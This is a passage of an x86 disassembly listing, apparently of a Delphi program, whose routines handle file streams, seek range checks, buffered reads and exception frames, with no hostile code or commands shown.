		push	ebp
		call	sub_20011878
		pop	ecx


loc_20011930:				; CODE XREF: sub_200118C4+63j
		mov	eax, esi
		cdq
		push	edx
		push	eax
		mov	dl, byte ptr [ebp+var_1A]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		call	dword ptr [ecx+18h]
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_200118C4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20011948	proc near		; DATA XREF: CODE:2000FA48o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		cmp	[ebp+arg_4], 0FFFFFFFFh
		jnz	short loc_20011965
		cmp	[ebp+arg_0], 80000000h
		jb	short loc_2001197A
		jmp	short loc_20011967
; ---------------------------------------------------------------------------


loc_20011965:				; CODE XREF: sub_20011948+10j
		jl	short loc_2001197A


loc_20011967:				; CODE XREF: sub_20011948+1Bj
		cmp	[ebp+arg_4], 0
		jnz	short loc_20011978
		cmp	[ebp+arg_0], 7FFFFFFFh
		jbe	short loc_20011991
		jmp	short loc_2001197A
; ---------------------------------------------------------------------------


loc_20011978:				; CODE XREF: sub_20011948+23j
		jle	short loc_20011991


loc_2001197A:				; CODE XREF: sub_20011948+19j
					; sub_20011948:loc_20011965j ...
		mov	ecx, ds:off_20014568
		mov	dl, 1
		mov	eax, off_20006630
		call	sub_2000A5A0
		call	sub_20003A08


loc_20011991:				; CODE XREF: sub_20011948+2Cj
					; sub_20011948:loc_20011978j
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		xor	ecx, ecx
		mov	cl, bl
		mov	eax, esi
		mov	ebx, [eax]
		call	dword ptr [ebx+14h]
		cdq
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn	8
sub_20011948	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200119B8	proc near		; CODE XREF: sub_20010F14+32p
					; sub_20012418+Cp
		push	ebx
		push	esi
		push	edi
		mov	ebx, ecx
		mov	edi, edx
		mov	esi, eax
		test	ebx, ebx
		jz	short loc_200119EB
		mov	edx, edi
		mov	ecx, ebx
		mov	eax, esi
		mov	esi, [eax]
		call	dword ptr [esi+10h]
		cmp	ebx, eax
		jz	short loc_200119EB
		mov	ecx, ds:off_200144B4
		mov	dl, 1
		mov	eax, off_2000F4FC
		call	sub_2000A5A0
		call	sub_20003A08


loc_200119EB:				; CODE XREF: sub_200119B8+Bj
					; sub_200119B8+1Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_200119B8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_200119F0	proc near		; CODE XREF: sub_20011AF8+52p
					; sub_20011AF8+BBp
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_200119FF
		add	esp, 0FFFFFFF0h
		call	sub_2000373C


loc_200119FF:				; CODE XREF: sub_200119F0+5j
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		xor	edx, edx
		mov	eax, edi
		call	sub_200034C4
		mov	[edi+4], esi
		mov	eax, edi
		test	bl, bl
		jz	short loc_20011A26
		call	sub_20003794
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_20011A26:				; CODE XREF: sub_200119F0+25j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_200119F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_20011A2C	proc near		; DATA XREF: CODE:2000FAACo
					; CODE:2000FB24o
		mov	eax, [eax+4]
		call	sub_2000750C
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_20011A3B
		xor	eax, eax

locret_20011A3B:			; CODE XREF: sub_20011A2C+Bj
		retn
sub_20011A2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_20011A3C	proc near		; DATA XREF: CODE:2000FAB0o
					; CODE:2000FB28o
		mov	eax, [eax+4]
		call	sub_20007538
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_20011A4B
		xor	eax, eax

locret_20011A4B:			; CODE XREF: sub_20011A3C+Bj
		retn
sub_20011A3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20011A4C	proc near		; DATA XREF: CODE:2000FAB8o
					; CODE:2000FB30o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		and	edx, 7Fh
		mov	eax, [eax+4]
		call	sub_20007564
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn	8
sub_20011A4C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20011A78	proc near		; DATA XREF: CODE:2000FAA4o
					; CODE:2000FB1Co
		push	ebx
		mov	ebx, edx
		mov	ecx, eax
		mov	eax, ebx
		cdq
		push	edx
		push	eax
		mov	eax, ecx
		mov	edx, [eax]
		call	dword ptr [edx+8]
		pop	ebx
		retn
sub_20011A78	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20011A8C	proc near		; DATA XREF: CODE:2000FAA8o
					; CODE:2000FB20o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		xor	edx, edx
		mov	eax, ebx
		mov	ecx, [eax]
		call	dword ptr [ecx+18h]
		mov	eax, [ebx+4]
		push	eax		; hFile
		call	SetEndOfFile_0
		call	sub_2000B7F8
		pop	ebx
		pop	ebp
		retn	8
sub_20011A8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20011AB4	proc near		; CODE XREF: sub_20010C24+12p
					; sub_20010EBC+15p

arg_0		= word ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		test	dl, dl
		jz	short loc_20011AC5
		add	esp, 0FFFFFFF0h
		call	sub_2000373C


loc_20011AC5:				; CODE XREF: sub_20011AB4+7j
		mov	ebx, edx
		mov	esi, eax
		mov	ax, [ebp+arg_0]
		push	eax
		push	0
		xor	edx, edx
		mov	eax, esi
		call	sub_20011AF8
		mov	eax, esi
		test	bl, bl
		jz	short loc_20011AEE
		call	sub_20003794
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_20011AEE:				; CODE XREF: sub_20011AB4+29j
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ebp
		retn	4
sub_20011AB4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20011AF8	proc near		; CODE XREF: sub_20011AB4+20p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFDCh
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_24], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_1C], ebx
		test	dl, dl
		jz	short loc_20011B1B
		add	esp, 0FFFFFFF0h
		call	sub_2000373C


loc_20011B1B:				; CODE XREF: sub_20011AF8+19j
		mov	esi, ecx
		mov	[ebp+var_1], dl
		mov	ebx, eax
		mov	edi, [ebp+arg_4]
		xor	eax, eax
		push	ebp
		push	offset loc_20011C21
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	di, 0FFFFh
		jnz	short loc_20011BA3
		mov	edx, [ebp+arg_0]
		mov	eax, esi
		call	sub_20007504
		mov	ecx, eax
		xor	edx, edx
		mov	eax, ebx
		call	sub_200119F0
		cmp	dword ptr [ebx+4], 0
		jge	loc_20011C06
		lea	edx, [ebp+var_18]
		mov	eax, esi
		call	sub_2000762C
		mov	eax, [ebp+var_18]
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], 0Bh
		call	GetLastError_0
		lea	edx, [ebp+var_1C]
		call	sub_20009CDC
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], 0Bh
		lea	eax, [ebp+var_14]
		push	eax
		push	1
		mov	ecx, ds:off_200145A0
		mov	dl, 1
		mov	eax, off_2000F398
		call	sub_2000A5DC
		call	sub_20003A08
		jmp	short loc_20011C06
; ---------------------------------------------------------------------------


loc_20011BA3:				; CODE XREF: sub_20011AF8+40j
		movzx	edx, di
		mov	eax, esi
		call	sub_20007488
		mov	ecx, eax
		xor	edx, edx
		mov	eax, ebx
		call	sub_200119F0
		cmp	dword ptr [ebx+4], 0
		jge	short loc_20011C06
		lea	edx, [ebp+var_20]
		mov	eax, esi
		call	sub_2000762C
		mov	eax, [ebp+var_20]
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], 0Bh
		call	GetLastError_0
		lea	edx, [ebp+var_24]
		call	sub_20009CDC
		mov	eax, [ebp+var_24]
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], 0Bh
		lea	eax, [ebp+var_14]
		push	eax
		push	1
		mov	ecx, ds:off_200143CC
		mov	dl, 1
		mov	eax, off_2000F3F4
		call	sub_2000A5DC
		call	sub_20003A08


loc_20011C06:				; CODE XREF: sub_20011AF8+5Bj
					; sub_20011AF8+A9j ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20011C28


loc_20011C13:				; CODE XREF: sub_20011AF8+12Ej
		lea	eax, [ebp+var_24]
		mov	edx, 4
		call	sub_20003FCC
		retn
; ---------------------------------------------------------------------------


loc_20011C21:				; DATA XREF: sub_20011AF8+30o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20011C13
; ---------------------------------------------------------------------------


loc_20011C28:				; CODE XREF: sub_20011AF8+128j
					; DATA XREF: sub_20011AF8+116o
		mov	eax, ebx
		cmp	[ebp+var_1], 0
		jz	short loc_20011C3F
		call	sub_20003794
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_20011C3F:				; CODE XREF: sub_20011AF8+136j
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_20011AF8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20011C4C	proc near		; DATA XREF: CODE:2000FB14o
		push	ebx
		push	esi
		call	sub_200037A4
		mov	ebx, edx
		mov	esi, eax
		mov	eax, [esi+4]
		test	eax, eax
		jl	short loc_20011C63
		call	sub_2000759C


loc_20011C63:				; CODE XREF: sub_20011C4C+10j
		mov	edx, ebx
		and	dl, 0FCh
		mov	eax, esi
		call	sub_200034E4
		test	bl, bl
		jle	short loc_20011C7A
		mov	eax, esi
		call	sub_2000378C


loc_20011C7A:				; CODE XREF: sub_20011C4C+25j
		pop	esi
		pop	ebx
		retn
sub_20011C4C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20011C80	proc near		; CODE XREF: CODE:20012636p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		cmp	ds:dword_20015874, 0
		jz	loc_20011D22
		mov	eax, ds:dword_20015874
		call	sub_2001022C
		mov	edi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_20011D1B
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, [edi+8]
		dec	ebx
		cmp	ebx, 0
		jl	short loc_20011D03


loc_20011CBF:				; CODE XREF: sub_20011C80+81j
		mov	edx, ebx
		mov	eax, edi
		call	sub_20010050
		mov	esi, eax
		cmp	[ebp+var_4], 0
		jz	short loc_20011CD8
		mov	eax, [esi+8]
		cmp	eax, [ebp+var_4]
		jnz	short loc_20011CFD


loc_20011CD8:				; CODE XREF: sub_20011C80+4Ej
		cmp	[ebp+var_8], 0
		jz	short loc_20011CED
		mov	edx, [esi+10h]
		mov	eax, [ebp+var_8]
		call	sub_20007018
		test	al, al
		jz	short loc_20011CFD


loc_20011CED:				; CODE XREF: sub_20011C80+5Cj
		mov	edx, ebx
		mov	eax, edi
		call	sub_2000FF60
		mov	eax, esi
		call	sub_200034F4


loc_20011CFD:				; CODE XREF: sub_20011C80+56j
					; sub_20011C80+6Bj
		dec	ebx
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_20011CBF


loc_20011D03:				; CODE XREF: sub_20011C80+3Dj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20011D22


loc_20011D10:				; CODE XREF: sub_20011C80+A0j
		mov	eax, ds:dword_20015874
		call	sub_20010240
		retn
; ---------------------------------------------------------------------------


loc_20011D1B:				; DATA XREF: sub_20011C80+2Bo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20011D10
; ---------------------------------------------------------------------------


loc_20011D22:				; CODE XREF: sub_20011C80+16j
					; sub_20011C80+9Aj
					; DATA XREF: ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_20011C80	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20011D2C	proc near		; CODE XREF: sub_2001024C+Dp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		cmp	ds:dword_20015874, 0
		jz	short loc_20011DAA
		mov	eax, ds:dword_20015874
		call	sub_2001022C
		mov	edi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_20011DA3
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, [edi+8]
		dec	ebx
		cmp	ebx, 0
		jl	short loc_20011D8B


loc_20011D62:				; CODE XREF: sub_20011D2C+5Dj
		mov	edx, ebx
		mov	eax, edi
		call	sub_20010050
		mov	esi, eax
		mov	eax, [esi+4]
		cmp	eax, [ebp+var_4]
		jnz	short loc_20011D85
		mov	edx, ebx
		mov	eax, edi
		call	sub_2000FF60
		mov	eax, esi
		call	sub_200034F4


loc_20011D85:				; CODE XREF: sub_20011D2C+47j
		dec	ebx
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_20011D62


loc_20011D8B:				; CODE XREF: sub_20011D2C+34j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20011DAA


loc_20011D98:				; CODE XREF: sub_20011D2C+7Cj
		mov	eax, ds:dword_20015874
		call	sub_20010240
		retn
; ---------------------------------------------------------------------------


loc_20011DA3:				; DATA XREF: sub_20011D2C+22o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20011D98
; ---------------------------------------------------------------------------


loc_20011DAA:				; CODE XREF: sub_20011D2C+11j
					; sub_20011D2C+76j
					; DATA XREF: ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_20011D2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_20011DB0	proc near		; CODE XREF: sub_20011DC8+5p
		push	ebx
		mov	ebx, eax
		mov	ecx, ebx
		mov	dl, 1
		mov	eax, off_2000F4A4
		call	sub_2000A5A0
		call	sub_20003A08
		pop	ebx
		retn
sub_20011DB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_20011DC8	proc near		; CODE XREF: sub_20011DD4+1Bp
					; sub_20011EF0:loc_20011F6Cp ...
		mov	eax, ds:off_200144EC
		call	sub_20011DB0
		retn
sub_20011DC8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20011DD4	proc near		; CODE XREF: sub_20011EA4+2p
					; sub_20011EAC+2p
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		mov	eax, esi
		call	sub_20012090
		cmp	bl, al
		jz	short loc_20011DF4
		dec	dword ptr [esi+10h]
		mov	eax, esi
		call	sub_200121A0
		call	sub_20011DC8


loc_20011DF4:				; CODE XREF: sub_20011DD4+Fj
		pop	esi
		pop	ebx
		retn
sub_20011DD4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20011DF8	proc near		; CODE XREF: sub_20010E0C+60p
					; sub_200120EC+15p ...
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_20012090
		test	al, al
		setz	al
		dec	dword ptr [ebx+10h]
		pop	ebx
		retn
sub_20011DF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_20011E0C	proc near		; CODE XREF: sub_20011EF0+21p
					; sub_20011FAC+1Fp ...
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_20012090
		dec	dword ptr [ebx+10h]
		pop	ebx
		retn
sub_20011E0C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20011E1C	proc near		; CODE XREF: sub_20011EB4+10p
					; sub_20011EB4+33p ...
		push	esi
		push	edi
		push	ebx
		mov	edi, edx
		mov	ebx, ecx
		mov	esi, eax
		jmp	short loc_20011E5D
; ---------------------------------------------------------------------------


loc_20011E27:				; CODE XREF: sub_20011E1C+43j
		mov	ecx, [esi+14h]
		sub	ecx, [esi+10h]
		ja	short loc_20011E39
		mov	eax, esi
		call	sub_20011E68
		mov	ecx, [esi+14h]


loc_20011E39:				; CODE XREF: sub_20011E1C+11j
		cmp	ecx, ebx
		jb	short loc_20011E3F
		mov	ecx, ebx


loc_20011E3F:				; CODE XREF: sub_20011E1C+1Fj
		push	esi
		sub	ebx, ecx
		mov	eax, [esi+8]
		add	eax, [esi+10h]
		add	[esi+10h], ecx
		mov	esi, eax
		mov	edx, ecx
		shr	ecx, 2
		cld
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		pop	esi


loc_20011E5D:				; CODE XREF: sub_20011E1C+9j
		or	ebx, ebx
		jnz	short loc_20011E27
		pop	ebx
		pop	edi
		pop	esi
		retn
sub_20011E1C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20011E68	proc near		; CODE XREF: sub_20011E1C+15p
		push	ebx
		push	esi
		mov	ebx, eax
		mov	edx, [ebx+8]
		mov	ecx, [ebx+0Ch]
		mov	eax, [ebx+4]
		mov	esi, [eax]
		call	dword ptr [esi+0Ch]
		mov	esi, eax
		mov	[ebx+14h], esi
		test	esi, esi
		jnz	short loc_20011E9A
		mov	ecx, ds:off_2001455C
		mov	dl, 1
		mov	eax, off_2000F4A4
		call	sub_2000A5A0
		call	sub_20003A08


loc_20011E9A:				; CODE XREF: sub_20011E68+19j
		xor	eax, eax
		mov	[ebx+10h], eax
		pop	esi
		pop	ebx
		retn
sub_20011E68	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20011EA4	proc near		; CODE XREF: sub_20010E0C+22p
		mov	dl, 1
		call	sub_20011DD4
		retn
sub_20011EA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_20011EAC	proc near		; CODE XREF: sub_20010E0C+89p
					; sub_200120EC+20p ...
		xor	edx, edx
		call	sub_20011DD4
		retn
sub_20011EAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_20011EB4	proc near		; CODE XREF: sub_200120A4+1Bp
					; sub_200121A0+EAp ...

var_C		= byte ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	esi, edx
		mov	ebx, eax
		mov	edx, esp
		mov	ecx, 1
		mov	eax, ebx
		call	sub_20011E1C
		xor	ecx, ecx
		mov	cl, [esp+0Ch+var_C]
		mov	eax, esi
		xor	edx, edx
		call	sub_20004098
		mov	eax, esi
		call	sub_2000449C
		mov	edx, eax
		xor	ecx, ecx
		mov	cl, [esp+0Ch+var_C]
		mov	eax, ebx
		call	sub_20011E1C
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_20011EB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20011EF0	proc near		; CODE XREF: sub_20010E0C+4Dp
					; sub_20011FAC+31p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_8], ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_20011F9D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, ebx
		call	sub_20011E0C
		sub	al, 12h
		jz	short loc_20011F1E
		sub	al, 2
		jnz	short loc_20011F34


loc_20011F1E:				; CODE XREF: sub_20011EF0+28j
		lea	edx, [ebp+var_8]
		mov	eax, ebx
		call	sub_20011FAC
		mov	edx, [ebp+var_8]
		mov	eax, esi
		call	sub_20004230
		jmp	short loc_20011F87
; ---------------------------------------------------------------------------


loc_20011F34:				; CODE XREF: sub_20011EF0+2Cj
		xor	eax, eax
		mov	[ebp+var_4], eax
		mov	eax, ebx
		call	sub_20012090
		sub	al, 6
		jz	short loc_20011F4A
		sub	al, 6
		jz	short loc_20011F5B
		jmp	short loc_20011F6C
; ---------------------------------------------------------------------------


loc_20011F4A:				; CODE XREF: sub_20011EF0+52j
		lea	edx, [ebp+var_4]
		mov	ecx, 1
		mov	eax, ebx
		call	sub_20011E1C
		jmp	short loc_20011F71
; ---------------------------------------------------------------------------


loc_20011F5B:				; CODE XREF: sub_20011EF0+56j
		lea	edx, [ebp+var_4]
		mov	ecx, 4
		mov	eax, ebx
		call	sub_20011E1C
		jmp	short loc_20011F71
; ---------------------------------------------------------------------------


loc_20011F6C:				; CODE XREF: sub_20011EF0+58j
		call	sub_20011DC8


loc_20011F71:				; CODE XREF: sub_20011EF0+69j
					; sub_20011EF0+7Aj
		mov	eax, esi
		mov	edx, [ebp+var_4]
		call	sub_200045D0
		mov	edx, [esi]
		mov	ecx, [ebp+var_4]
		mov	eax, ebx
		call	sub_20011E1C


loc_20011F87:				; CODE XREF: sub_20011EF0+42j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20011FA4


loc_20011F94:				; CODE XREF: sub_20011EF0+B2j
		lea	eax, [ebp+var_8]
		call	sub_20004664
		retn
; ---------------------------------------------------------------------------


loc_20011F9D:				; DATA XREF: sub_20011EF0+14o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20011F94
; ---------------------------------------------------------------------------


loc_20011FA4:				; CODE XREF: sub_20011EF0+ACj
					; DATA XREF: sub_20011EF0+9Fo
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_20011EF0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20011FAC	proc near		; CODE XREF: sub_20011EF0+33p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	0
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_20012083
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, ebx
		call	sub_20011E0C
		sub	al, 6
		jz	short loc_20011FD8
		sub	al, 6
		jnz	short loc_20011FEE


loc_20011FD8:				; CODE XREF: sub_20011FAC+26j
		lea	edx, [ebp+var_C]
		mov	eax, ebx
		call	sub_20011EF0
		mov	edx, [ebp+var_C]
		mov	eax, esi
		call	sub_200047B0
		jmp	short loc_20012065
; ---------------------------------------------------------------------------


loc_20011FEE:				; CODE XREF: sub_20011FAC+2Aj
		xor	eax, eax
		mov	[ebp+var_4], eax
		mov	eax, ebx
		call	sub_20012090
		sub	al, 12h
		jz	short loc_20012004
		sub	al, 2
		jz	short loc_2001202D
		jmp	short loc_20012060
; ---------------------------------------------------------------------------


loc_20012004:				; CODE XREF: sub_20011FAC+50j
		lea	edx, [ebp+var_4]
		mov	ecx, 4
		mov	eax, ebx
		call	sub_20011E1C
		mov	eax, esi
		mov	edx, [ebp+var_4]
		call	sub_200048AC
		mov	ecx, [ebp+var_4]
		add	ecx, ecx
		mov	edx, [esi]
		mov	eax, ebx
		call	sub_20011E1C
		jmp	short loc_20012065
; ---------------------------------------------------------------------------


loc_2001202D:				; CODE XREF: sub_20011FAC+54j
		lea	edx, [ebp+var_4]
		mov	ecx, 4
		mov	eax, ebx
		call	sub_20011E1C
		lea	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		call	sub_200045D0
		mov	edx, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		mov	eax, ebx
		call	sub_20011E1C
		mov	edx, esi
		mov	eax, [ebp+var_8]
		call	sub_200058A0
		jmp	short loc_20012065
; ---------------------------------------------------------------------------


loc_20012060:				; CODE XREF: sub_20011FAC+56j
		call	sub_20011DC8


loc_20012065:				; CODE XREF: sub_20011FAC+40j
					; sub_20011FAC+7Fj ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2001208A


loc_20012072:				; CODE XREF: sub_20011FAC+DCj
		lea	eax, [ebp+var_C]
		call	sub_20003FA8
		lea	eax, [ebp+var_8]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_20012083:				; DATA XREF: sub_20011FAC+12o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20012072
; ---------------------------------------------------------------------------


loc_2001208A:				; CODE XREF: sub_20011FAC+D6j
					; DATA XREF: sub_20011FAC+C1o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_20011FAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_20012090	proc near		; CODE XREF: sub_20011DD4+8p
					; sub_20011DF8+5p ...

var_4		= byte ptr -4

		push	ecx
		mov	edx, esp
		mov	ecx, 1
		call	sub_20011E1C
		mov	al, [esp+4+var_4]
		pop	edx
		retn
sub_20012090	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_200120A4	proc near		; CODE XREF: sub_200121A0+105p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_200120E0
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp


loc_200120BA:				; CODE XREF: sub_200120A4+24j
		lea	edx, [ebp+var_4]
		mov	eax, ebx
		call	sub_20011EB4
		cmp	[ebp+var_4], 0
		jnz	short loc_200120BA
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_200120E7


loc_200120D7:				; CODE XREF: sub_200120A4+41j
		lea	eax, [ebp+var_4]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_200120E0:				; DATA XREF: sub_200120A4+Bo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_200120D7
; ---------------------------------------------------------------------------


loc_200120E7:				; CODE XREF: sub_200120A4+3Bj
					; DATA XREF: sub_200120A4+2Eo
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_200120A4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_200120EC	proc near		; CODE XREF: sub_200121A0+91p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		add	ebx, 0FFFFFFFCh
		jmp	short loc_200120FF
; ---------------------------------------------------------------------------


loc_200120F8:				; CODE XREF: sub_200120EC+1Cj
		mov	eax, [ebx]
		call	sub_200121A0


loc_200120FF:				; CODE XREF: sub_200120EC+Aj
		mov	eax, [ebx]
		call	sub_20011DF8
		test	al, al
		jz	short loc_200120F8
		mov	eax, [ebx]
		call	sub_20011EAC
		pop	ebx
		pop	ebp
		retn
sub_200120EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20012114	proc near		; CODE XREF: sub_200121A0+FAp
					; sub_200121A0+112p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, eax
		lea	edx, [ebp+var_4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-4]
		mov	ecx, 4
		call	sub_20011E1C
		mov	edx, [ebp+var_4]
		imul	edx, ebx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-4]
		call	sub_20012384
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_20012114	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


